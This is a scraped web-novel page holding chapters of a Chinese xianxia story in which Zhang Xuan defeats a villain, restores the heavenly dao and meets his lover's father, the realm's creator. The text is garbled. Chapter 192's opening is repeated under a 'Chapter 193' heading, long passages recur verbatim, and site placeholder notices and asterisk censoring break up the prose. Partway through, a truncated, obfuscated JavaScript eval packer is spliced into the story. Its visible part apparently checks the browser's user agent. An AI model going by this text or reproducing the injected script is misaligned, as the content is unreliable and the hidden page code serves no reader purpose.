聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第192章处置 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第193章贤王 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 